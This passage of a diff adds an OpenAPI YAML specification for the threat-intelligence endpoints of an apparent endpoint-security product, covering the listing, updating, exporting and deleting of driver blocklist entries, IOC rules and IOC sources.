+            type: file
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/DriverBlocklist/list_ruleset/{ruleset_id}/:
+    get:
+      description: List driverblocklists with ruleset rule data.
+      operationId: data_threat_intelligence_DriverBlocklist_list_ruleset
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - enum:
+            - filename
+            - filepath
+            - hash
+          in: query
+          name: type
+          required: false
+          type: string
+        - in: query
+          name: value
+          required: false
+          type: string
+        - in: query
+          name: comment
+          required: false
+          type: string
+        - in: query
+          name: id
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: hl_status
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_DriverBlocklistRulesetPagination'
+      tags:
+        - threat Intelligence
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+  /data/threat_intelligence/DriverBlocklist/update/:
+    parameters: []
+    post:
+      description: Update fields for multiple rules at once
+      operationId: data_threat_intelligence_DriverBlocklist_update_bulk
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_RuleBulkUpdate'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/DriverBlocklist/update_rules/{ruleset_id}/:
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+    patch:
+      deprecated: true
+      description: Deprecated call maintained for retrocompatability.
+      operationId: data_threat_intelligence_DriverBlocklist_update_rules
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RuleUpdateRuleset'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_DriverRulesetResponse'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/DriverBlocklist/update_ruleset/{ruleset_id}/:
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_DriverBlocklist_update_ruleset
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RuleUpdateRuleset'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_DriverRulesetResponse'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/DriverBlocklist/{id}/:
+    delete:
+      description: ""
+      operationId: data_threat_intelligence_DriverBlocklist_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - threat Intelligence
+    get:
+      description: ""
+      operationId: data_threat_intelligence_DriverBlocklist_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DriverBlocklist'
+      tags:
+        - threat Intelligence
+    parameters:
+      - description: A unique value identifying this driver blocklist.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_DriverBlocklist_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DriverBlocklist'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DriverBlocklist'
+      tags:
+        - threat Intelligence
+    put:
+      description: ""
+      operationId: data_threat_intelligence_DriverBlocklist_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DriverBlocklist'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DriverBlocklist'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/DriverBlocklistSource/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_DriverBlocklistSource_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: name
+          required: false
+          type: string
+        - in: query
+          name: description
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: new_rule_state
+          required: false
+          type: string
+        - in: query
+          name: alert_rule_count
+          required: false
+          type: number
+        - in: query
+          name: block_rule_count
+          required: false
+          type: number
+        - in: query
+          name: quarantine_rule_count
+          required: false
+          type: number
+        - in: query
+          name: disabled_rule_count
+          required: false
+          type: number
+        - in: query
+          name: default_rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_level_default
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - in: query
+          name: rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_stable_count
+          required: false
+          type: number
+        - in: query
+          name: rule_testing_count
+          required: false
+          type: number
+        - in: query
+          name: rule_experimental_count
+          required: false
+          type: number
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/DriverBlocklistSource'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/DriverBlocklistSource/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_threat_intelligence_DriverBlocklistSource_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/DriverBlocklistSource/list_ruleset/{ruleset_id}/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_DriverBlocklistSource_list_ruleset
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: name
+          required: false
+          type: string
+        - in: query
+          name: description
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: new_rule_state
+          required: false
+          type: string
+        - in: query
+          name: alert_rule_count
+          required: false
+          type: number
+        - in: query
+          name: block_rule_count
+          required: false
+          type: number
+        - in: query
+          name: quarantine_rule_count
+          required: false
+          type: number
+        - in: query
+          name: disabled_rule_count
+          required: false
+          type: number
+        - in: query
+          name: default_rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_level_default
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - in: query
+          name: rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_stable_count
+          required: false
+          type: number
+        - in: query
+          name: rule_testing_count
+          required: false
+          type: number
+        - in: query
+          name: rule_experimental_count
+          required: false
+          type: number
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_DriverBlocklistRulesetSourcePagination'
+      tags:
+        - threat Intelligence
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+  /data/threat_intelligence/DriverBlocklistSource/{id}/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_DriverBlocklistSource_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DriverBlocklistSource'
+      tags:
+        - threat Intelligence
+    parameters:
+      - description: A unique value identifying this driver blocklist source.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_DriverBlocklistSource_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DriverBlocklistSource'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DriverBlocklistSource'
+      tags:
+        - threat Intelligence
+    put:
+      description: ""
+      operationId: data_threat_intelligence_DriverBlocklistSource_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DriverBlocklistSource'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DriverBlocklistSource'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/IOCRule/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_IOCRule_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: id
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - in: query
+          name: hl_status
+          required: false
+          type: string
+        - in: query
+          name: rule_level
+          required: false
+          type: string
+        - in: query
+          name: rule_level_override
+          required: false
+          type: string
+        - in: query
+          name: rule_level_overridden
+          required: false
+          type: boolean
+        - in: query
+          name: rule_effective_level
+          required: false
+          type: string
+        - in: query
+          name: rule_effective_confidence
+          required: false
+          type: string
+        - in: query
+          name: source.id
+          required: false
+          type: string
+        - in: query
+          name: source.name
+          required: false
+          type: string
+        - in: query
+          name: ruleset_rule_default
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.enabled
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.quarantine_on_agent
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - enum:
+            - domain_name
+            - filename
+            - filepath
+            - hash
+            - ip_both
+            - ip_dst
+            - ip_src
+            - url
+          in: query
+          name: type
+          required: false
+          type: string
+        - in: query
+          name: value
+          required: false
+          type: string
+        - in: query
+          name: comment
+          required: false
+          type: string
+        - in: query
+          name: info
+          required: false
+          type: string
+        - in: query
+          name: category
+          required: false
+          type: string
+        - in: query
+          name: description
+          required: false
+          type: string
+        - in: query
+          name: references
+          required: false
+          type: string
+        - enum:
+            - moderate
+            - strong
+            - weak
+          in: query
+          name: rule_confidence
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_IOCPagination'
+      tags:
+        - threat Intelligence
+    parameters: []
+    post:
+      description: Create an IOC in a source (HTTP 200), or import a CSV file into a source (HTTP 201).
+      operationId: data_threat_intelligence_IOCRule_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_CreateIOCRule'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCRule'
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCImportResponse'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCImportResponse'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/IOCRule/blacklist_process/:
+    parameters: []
+    post:
+      description: |-
+        Same as default create method but we don't need to specify `source_id`.
+        The IOCIndicator is automatically added to an IOCSource called "process blacklist".
+        If this source does not exist, it is created .
+      operationId: data_threat_intelligence_IOCRule_blacklist_process
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/IOCRule'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCImportResponse'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/IOCRule/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_threat_intelligence_IOCRule_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/IOCRule/list_ruleset/{ruleset_id}/:
+    get:
+      description: List IOCs with ruleset rule data.
+      operationId: data_threat_intelligence_IOCRule_list_ruleset
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: id
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - in: query
+          name: hl_status
+          required: false
+          type: string
+        - in: query
+          name: rule_level
+          required: false
+          type: string
+        - in: query
+          name: rule_level_override
+          required: false
+          type: string
+        - in: query
+          name: rule_level_overridden
+          required: false
+          type: boolean
+        - in: query
+          name: rule_effective_level
+          required: false
+          type: string
+        - in: query
+          name: rule_effective_confidence
+          required: false
+          type: string
+        - in: query
+          name: source.id
+          required: false
+          type: string
+        - in: query
+          name: source.name
+          required: false
+          type: string
+        - in: query
+          name: ruleset_rule_default
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.enabled
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.quarantine_on_agent
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - enum:
+            - domain_name
+            - filename
+            - filepath
+            - hash
+            - ip_both
+            - ip_dst
+            - ip_src
+            - url
+          in: query
+          name: type
+          required: false
+          type: string
+        - in: query
+          name: value
+          required: false
+          type: string
+        - in: query
+          name: comment
+          required: false
+          type: string
+        - in: query
+          name: info
+          required: false
+          type: string
+        - in: query
+          name: category
+          required: false
+          type: string
+        - in: query
+          name: description
+          required: false
+          type: string
+        - in: query
+          name: references
+          required: false
+          type: string
+        - enum:
+            - moderate
+            - strong
+            - weak
+          in: query
+          name: rule_confidence
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_IOCRulesetPagination'
+      tags:
+        - threat Intelligence
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+  /data/threat_intelligence/IOCRule/update/:
+    parameters: []
+    post:
+      description: Update fields for multiple rules at once
+      operationId: data_threat_intelligence_IOCRule_update_bulk
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_RuleBulkUpdate'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/IOCRule/update_rules/{ruleset_id}/:
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+    patch:
+      deprecated: true
+      description: Deprecated call maintained for retrocompatability.
+      operationId: data_threat_intelligence_IOCRule_update_rules
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RuleUpdateRuleset'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_IOCRulesetResponse'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/IOCRule/update_ruleset/{ruleset_id}/:
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_IOCRule_update_ruleset
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RuleUpdateRuleset'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_IOCRulesetResponse'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/IOCRule/{id}/:
+    delete:
+      description: ""
+      operationId: data_threat_intelligence_IOCRule_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - threat Intelligence
+    get:
+      description: ""
+      operationId: data_threat_intelligence_IOCRule_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCRule'
+      tags:
+        - threat Intelligence
+    parameters:
+      - description: A unique value identifying this ioc rule.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_IOCRule_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/IOCRule'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCRule'
+      tags:
+        - threat Intelligence
+    put:
+      description: ""
+      operationId: data_threat_intelligence_IOCRule_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/IOCRule'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCRule'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/IOCSource/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_IOCSource_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: name
+          required: false
+          type: string
+        - in: query
+          name: description
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: new_rule_state
+          required: false
+          type: string
+        - in: query
+          name: alert_rule_count
+          required: false
+          type: number
+        - in: query
+          name: block_rule_count
+          required: false
+          type: number
+        - in: query
+          name: quarantine_rule_count
+          required: false
+          type: number
+        - in: query
+          name: disabled_rule_count
+          required: false
+          type: number
+        - in: query
+          name: default_rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_level_default
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - in: query
+          name: rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_stable_count
+          required: false
+          type: number
+        - in: query
+          name: rule_testing_count
+          required: false
+          type: number
+        - in: query
+          name: rule_experimental_count
+          required: false
+          type: number
+        - enum:
+            - moderate
+            - strong
+            - weak
+          in: query
+          name: rule_confidence_default
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/IOCSource'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+    post:
+      description: ""
+      operationId: data_threat_intelligence_IOCSource_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/IOCSource'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCSource'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/IOCSource/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_threat_intelligence_IOCSource_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/IOCSource/list_ruleset/{ruleset_id}/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_IOCSource_list_ruleset
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: name
+          required: false
+          type: string
+        - in: query
+          name: description
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: new_rule_state
+          required: false
+          type: string
+        - in: query
+          name: alert_rule_count
+          required: false
+          type: number
+        - in: query
+          name: block_rule_count
+          required: false
+          type: number
+        - in: query
+          name: quarantine_rule_count
+          required: false
+          type: number
+        - in: query
+          name: disabled_rule_count
+          required: false
+          type: number
+        - in: query
+          name: default_rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_level_default
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - in: query
+          name: rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_stable_count
+          required: false
+          type: number
+        - in: query
+          name: rule_testing_count
+          required: false
+          type: number
+        - in: query
+          name: rule_experimental_count
+          required: false
+          type: number
+        - enum:
+            - moderate
+            - strong
+            - weak
+          in: query
+          name: rule_confidence_default
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_IOCSourceRulesetPagination'
+      tags:
+        - threat Intelligence
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+  /data/threat_intelligence/IOCSource/{id}/:
+    delete:
